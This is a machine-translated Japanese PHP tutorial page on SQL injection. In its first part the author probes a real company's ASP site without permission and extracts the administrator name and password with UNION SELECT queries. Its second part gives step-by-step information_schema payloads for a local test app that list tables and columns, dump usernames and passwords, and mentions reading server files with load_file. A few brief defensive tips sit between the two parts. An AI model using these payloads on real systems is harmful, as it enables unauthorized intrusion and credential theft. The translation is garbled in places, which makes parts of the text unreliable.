ホームページ >バックエンド開発 >PHPチュートリアル >php_PHP チュートリアルでの一般的な SQL インジェクション方法の概要
SQL インジェクションとは、構文やデータ処理のバグを利用してデータベースを爆発させ、データをダウンロードするか、管理者に Web サイトに影響を与える操作を直接入力させることです。しかし、SQL インジェクションにはそれらのバグがあります。人々の使用に関しては、以下のエディターがいくつかの基本的な方法と少し高度な方法を集めました。それらは学習と参考のためにのみ使用され、その他は無視されます。
最も基本的なSQLインジェクション脆弱性対策方法
大学は今朝ミーティングを開き、卒業インターンシップとデザインについて話し合った。また、明日企業が採用活動を行う予定であることも説明され、興味のある人は会社のウェブサイトに戻って見るよう呼びかけた。もちろん私はペーパーンには興味がありませんが、寮のクラスメートであるシャオファが少し興味を持っていて、帰ってきたときにウェブサイトを見てみました。でも…?
Paperen の Web サイトも見てみました。ASP なので、理由はわかりませんが、SQL インジェクションの脆弱性があるかどうかを確認するために突然 Web サイトにアクセスしました。いくつかのページを見て、企業ニュースに移動すると、ニュース URL が xwzx_content.asp?id=456 です (値を渡すのが通常ですが、ID 値に従ってデータベースを確認して表示することも合理的です)。対応するデータ)ですが...?
paperen パラメータをxwzx_content.asp?id=456と1=1に変更して試してみたところ、id=456と同じ表示になりました。 (脆弱性の有無を証明するものではありません)?
それからもう一度試してください
コードは次のとおりです | コードをコピー |
xwzx_content.asp?id=456 および '1'='1 |
結果は
データベース内でテーブルを見つけてこのステートメントを試すだけなので、エラー メッセージから脆弱性があることがわかりますか?
select * from table where id=1 and 1=1 (特定のレコードの ID 番号) 実際、1=1 が true であるため、1=1 を追加することは追加しないことと同じ結果になります。間違いなく実行できます 実行は終了しましたが、1=2 の場合は機能しません。明らかに 1 は 2 に等しくなく、偽であるため、データは見つかりません。 ?
その後、ステートメントxwzx_content.asp?id=456 または 1=1 の構築を続けます。結果は
ID 番号 456 のデータが存在するかどうかに関係なく、前の 1=1 (true) の結果も true であるため、この結果が得られることは明らかです。 ?
上記の操作により、このページに SQL インジェクションの脆弱性が存在することが確認されました。主に RP に基づいて、取得したい情報を明らかにするために正式なインジェクションを開始しましょう。 ?
管理パスワードとアカウント番号をクエリするには、union を使用する必要があります。もちろん、管理者のテーブルの名前を推測する必要があることが前提です。 ?
paperen私が最初に思いついたのは、管理者、試してみてください。
管理者からの
1.xwzx_content.asp?id=456?union select?* 結果は
管理者からの
1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 結果は
このテーブルには 10 個のフィールドがあり、そのうち 4 個がページに表示されます。ここで何が起こっているのかよく理解していないかもしれませんが、mysql で自分のスクリーンショットを投稿したほうがよいでしょう。
?
管理者アカウントを入力したフィールド名を推測してみましょう。
管理者からの
1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 結果は
これは、推測が間違っていたことを証明します。推測を続けて管理者に電話してください。へー、それは真実であることが判明しました。
管理者からの
1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 結果は
アカウントとパスワードはすでに持っていますが、他に足りないものはありますか?これは明らかにバックエンドのアドレスですが、正しいアドレスを持っているかどうかはまだわかりません。ああ、これを見て少しがっかりしたでしょうか。 Paperen も使っていますが、忘れてください。最初にブログ投稿を公開する必要があります。触れる時間がありません。とにかくこのサイトの印象はあまり良くなかったし、会社もあまり良くなかったのかもしれない。 ?
実際、Web サイトに侵入することは簡単ではありませんし、侵入を防ぐことも簡単ではありません。しかし、上記のことから、このような非常に低レベルの間違いを防ぐためのいくつかのポイントがわかります。 ?
1.getで渡されたパラメータをフィルタリングして判定する
2. 独自のデータベースを構築するために、一部のオープンソース プログラムのデータベース テーブルやテーブル名を参照しないでください
3. 少なくとも管理者、管理者 888 などではなく、より複雑なパスワードを使用します
4. 背景ファイルを配置するフォルダーの名前は、誰も簡単に推測できないように特別な名前に変更するのが最善です
5. ASP Web サイトのデータベース ファイルの場合、ダウンロードされないようにサフィックスを asp に変更するのが最善です?
もう少し高度な SQL インジェクション
コードは次のとおりです | コードをコピー |
1.$sql = 'select * from Goods where id='.$id; |
受信データをフィルタリングしないこと、または単一引用符で囲んでいないことによって引き起こされる問題は、データベース内の他のテーブルを推測できれば、Paperen が今回求めている他のテーブルの内容も見つけることができることは、この記事で非常に明確です。この脆弱性を利用するためのより高度なテクニックについて説明します。
ここで脆弱性があることが確認できた場合、(それを証明する方法は?簡単に言うと、個別にテストし、パラメータを id=1=1 と id=1=2 に変更します。その後、ページを見て確認してください)表示されている情報が一致していれば脆弱性があることになりますが、脆弱性があることが確認できたとしても、推測できない場合はどうすればよいでしょうか。他のテーブルのテーブル名?非常に邪悪なトリックを使用して、まず挿入された URL を解放します。
現在のデータベース名を明らかにする
1.URL:
コードは次のとおりです | コードをコピー |
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM 商品 WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns |
次に、データベース test の 16 進値を取得し、テスト データベース内のテーブル名をポップアップします (テスト select hex('test') の 16 進値を取得し、それを mysql に入れて実行し、結果を確認します。 に 74657374 を追加します。先頭に 0x、16 進数)
1.URL:
コードは次のとおりです | コードをコピー |
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns +AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1、2、3、GROUP_CONCAT(DISTINCT テーブル名)、5、6、7、8、9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374 |
次に、ユーザー テーブルの 16 進値を入力し、ユーザー テーブルのフィールドを確認します。これは、and を追加することをお勧めします。ユーザー テーブルが複数ある場合は、結果が誤解を招く可能性があります。あなた。
1.URL:
コードは次のとおりです | コードをコピー |
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns +WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from Goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374 |
わかりました!欲しい情報が少しずつ手に入るって面白いじゃないですか。で、パペレンさんは、こういうのはクセになるよって言ってました。
その後、彼のユーザーリストのクリアコードを直接公開します。
コードは次のとおりです | コードをコピー |
URL: http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,パスワード,3,ユーザー名,5,6,7,8,9+FROM+user2.SQL:select * from id=-1 の商品 UNION SELECT 1,パスワード,3,ユーザー名,5,6,7,8,9 FROM ユーザー |
ただし、ユーザーテーブルには複数のユーザーデータが存在する可能性があるため、制限を追加してください
コードは次のとおりです | コードをコピー |
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,パスワード,3,ユーザー名,5,6,7,8,9+FROM+ユーザー+制限+1 ,12.SQL:select * from Goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM userlimit 1,1 |
次に、取得したパスワードを取得します
クラックしてクリア コードを取得し、バックエンド パスを知り、ユーザー アカウントとクラックされたパスワードを使用してバックエンドにログインします。ただし、Paperen の次の 2 つのステップは、パスワードがより複雑になっている場合にも依存します。たとえクラックされたとしても、バックエンドアドレスを見つける必要があります。それで…それだけです。ただの楽しみのためです。 (追記: ファイルのパスも推測できれば、load_file を使用してサーバー上のいくつかのファイルの内容を取得することもできます)